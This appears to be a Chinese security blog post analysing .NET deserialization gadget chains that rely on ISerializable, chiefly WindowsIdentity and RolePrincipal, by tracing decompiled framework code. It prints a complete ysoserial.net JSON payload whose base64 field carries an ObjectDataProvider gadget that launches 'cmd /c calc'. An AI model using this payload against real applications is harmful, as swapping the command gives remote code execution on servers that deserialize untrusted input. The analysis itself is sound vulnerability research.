|
原文链接:dotNet 反序列化ISerializable系列链分析
ISerializable有哪些链:- System.Web.Security.RolePrincipal
- System.Security.Principal.WindowsIdentity
- System.Security.Principal.WindowsPrincipal
- Microsoft.IdentityModel.Claims.WindowsClaimsIdentity
- System.IdentityModel.Tokens.SessionSecurityToken
这些链均具有一个相同的特点,那就是全部实现了ISerializable接口。
ISerializable接口介绍:微软官方文档的介绍,说的很简单,我也看不懂:
允许对象控制其自己的序列化和反序列化过程。
但我们可以自己实现一个demo来进行观察ISerializable接口序列化与反序列化的过程Person类:
- [Serializable]
- public class Person : ISerializable{
- public string FirstName { get; set; }
- public string LastName { get; set; }
- public string Name { get; set; }
- public Person() { }
- void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context)
- {
- Console.WriteLine("GetObjectData");
- info.AddValue("Name", this.Name);
- if (!string.IsNullOrWhiteSpace(this.Name))
- {
- info.AddValue("FirstName", this.Name.Split(' ')[0]);
- info.AddValue("LastName", this.Name.Split(' ')[1]);
- info.AddValue("xxoo", "Hello Hack");
- }
- }
- }
复制代码

main函数:
- static void Main(string[] args)
- {
- Person person = new Person { Name = "小 红" };
- string seriaData = JsonConvert.SerializeObject(person);
- Console.WriteLine(seriaData);
- Person personInfo = JsonConvert.DeserializeObject<Person>(seriaData);
- Console.Read();
- }
复制代码

在运行代码后我们得到以下输出:
- GetObjectData
- {"Name":"小 红","FirstName":"小","LastName":"红","xxoo":"Hello Hack"}
复制代码

由上得出结论:
- info.AddValue会被反序列化
- 当实现ISerializable接口的类被序列化时会自动调用GetObjectData类来控制序列化的内容。
但在我查阅资料的过程中还发现了如下解释:
但与其他接口不同的是,为了Deserialization,我们还必须实现一个特殊的构造函数(我称此构造函数为“序列化构造函数”),此构造函数具有与GetObjectData相同的参数列表。
根据上面的说法,我们将Person类的代码改为:
- [Serializable]
- public class Person : ISerializable
- {
- public string FirstName { get; set; }
- public string LastName { get; set; }
- public string Name { get; set; }
- public Person() { }
- protected Person(SerializationInfo info, StreamingContext context)
- {
- Console.WriteLine("UserInfo被执行了!!!");
- Name = info.GetString("Name");
- FirstName = info.GetString("FirstName");
- LastName = info.GetString("LastName");
- }
- void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context)
- {
- Console.WriteLine("GetObjectData");
- info.AddValue("Name", this.Name);
- if (!string.IsNullOrWhiteSpace(this.Name))
- {
- info.AddValue("FirstName", this.Name.Split(' ')[0]);
- info.AddValue("LastName", this.Name.Split(' ')[1]);
- info.AddValue("xxoo", "Hello Hack");
- }
- }
- }
复制代码

Main函数的代码不变,由此输出结果为:
- GetObjectData
- {"Name":"小 红","FirstName":"小","LastName":"红","xxoo":"Hello Hack"}
- UserInfo被执行了!!!
复制代码

做完上面的实验后,我们得出结论:在继承ISerializable接口后,序列化时会执行GetObjectData函数,反序列化时会自动调用与GetObjectData函数同样参数的构造函数。
System.Security.Principal.WindowsIdentity现在我们在来看WindowsIdentity链,首先给出ysoserial.exe的WindowsIdentity链:
- {
- '$type': 'System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
- 'System.Security.ClaimsIdentity.actor': 'AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAsgU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtOCI/Pg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI+DQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQogICAgPHNkOlByb2Nlc3M+DQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgY2FsYyIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4L'
- }
复制代码

首先查看WindowsIdentity的定义:
public class WindowsIdentity : ClaimsIdentity, ISerializable, IDeserializationCallback, IDisposable
既然我们刚刚了解了ISerializable接口的使用,所以我们现在只需要寻找GetObjectData函数同样参数的构造函数,代码如下:
- public WindowsIdentity(SerializationInfo info, StreamingContext context)
- : this(info)
- {
- }
复制代码

跟进重载后的函数:
- private WindowsIdentity(SerializationInfo info)
- : base(info)
- {
- m_claimsInitialized = false;
- IntPtr intPtr = (IntPtr)info.GetValue("m_userToken", typeof(IntPtr));
- if (intPtr != IntPtr.Zero)
- {
- CreateFromToken(intPtr);
- }
- }
复制代码

此函数调用了父类的构造函数,继续跟进:
- [SecurityCritical]
- protected ClaimsIdentity(SerializationInfo info)
- {
- if (info == null)
- {
- throw new ArgumentNullException("info");
- }
- Deserialize(info, default(StreamingContext), useContext: false);
- }
复制代码

到这里发现父类中的构造函数调用了反序列化Deserialize,查看函数定义:
 
我们发现函数首先调用了SerializationInfoEnumerator enumerator = info.GetEnumerator();,这个GetEnumerator方法其实就是遍历Info中的值,他会将你反序列化时所有的值载入进去。最终发现在以下分支存在反序列化的操作:
- System.Security.ClaimsIdentity.actor
- case "System.Security.ClaimsIdentity.actor":
- {
- using (MemoryStream serializationStream2 = new MemoryStream(Convert.FromBase64String(info.GetString("System.Security.ClaimsIdentity.actor"))))
- {
- m_actor = (ClaimsIdentity)binaryFormatter.Deserialize(serializationStream2, null, fCheck: false);
- }
- break;
- }
复制代码

- System.Security.ClaimsIdentity.claims
- case "System.Security.ClaimsIdentity.claims":
- DeserializeClaims(info.GetString("System.Security.ClaimsIdentity.claims"));
- break;
复制代码

- System.Security.ClaimsIdentity.bootstrapContext
- case "System.Security.ClaimsIdentity.bootstrapContext":
- {
- using (MemoryStream serializationStream = new MemoryStream(Convert.FromBase64String(info.GetString("System.Security.ClaimsIdentity.bootstrapContext"))))
- {
- m_bootstrapContext = binaryFormatter.Deserialize(serializationStream, null, fCheck: false);
- }
- break;
- }
复制代码

查看上诉所说的几个属性中claims是没有set方法的,所以是不能够利用的。剩下两个是存在set方法:
- public ClaimsIdentity Actor
- {
- get
- {
- return m_actor;
- }
- set
- {
- if (value != null && IsCircular(value))
- {
- throw new InvalidOperationException(Environment.GetResourceString("InvalidOperationException_ActorGraphCircular"));
- }
- m_actor = value;
- }
- }
- public object BootstrapContext
- {
- get
- {
- return m_bootstrapContext;
- }
- [SecurityCritical]
- set
- {
- m_bootstrapContext = value;
- }
- }
复制代码

那么这里就ysoseril生成的payload中就可以不使用Actor而使用BootstrapContext了。在分析完这个链后,我们还可以总结出规律:所有实现了ISerializable类且继承至System.Security.Claims.ClaimsIdentity类的方法均可以作为入口链的使用
System.Web.Security.RolePrincipal:在分析完WindowsIdentity链后其他的链其实都已经不用分析了。以下所有的链分析都可以基于上面的模板进行分析:
- 查看SerializationInfo info, StreamingContext context构造函数:
- protected RolePrincipal(SerializationInfo info, StreamingContext context)
- : base(info, context)
- {
- ...省略...
- }
复制代码

跟进base:
- [SecurityCritical]
- protected ClaimsPrincipal(SerializationInfo info, StreamingContext context)
- {
- if (info == null)
- {
- throw new ArgumentNullException("info");
- }
- Deserialize(info, context);
- }
复制代码

跟进Deserialize函数:
 
Identities属性:
- public virtual IEnumerable<ClaimsIdentity> Identities => m_identities.AsReadOnly();
复制代码

DeserializeIdentities函数:
 
总结:一路通则路路通,索然无味了起来
|
|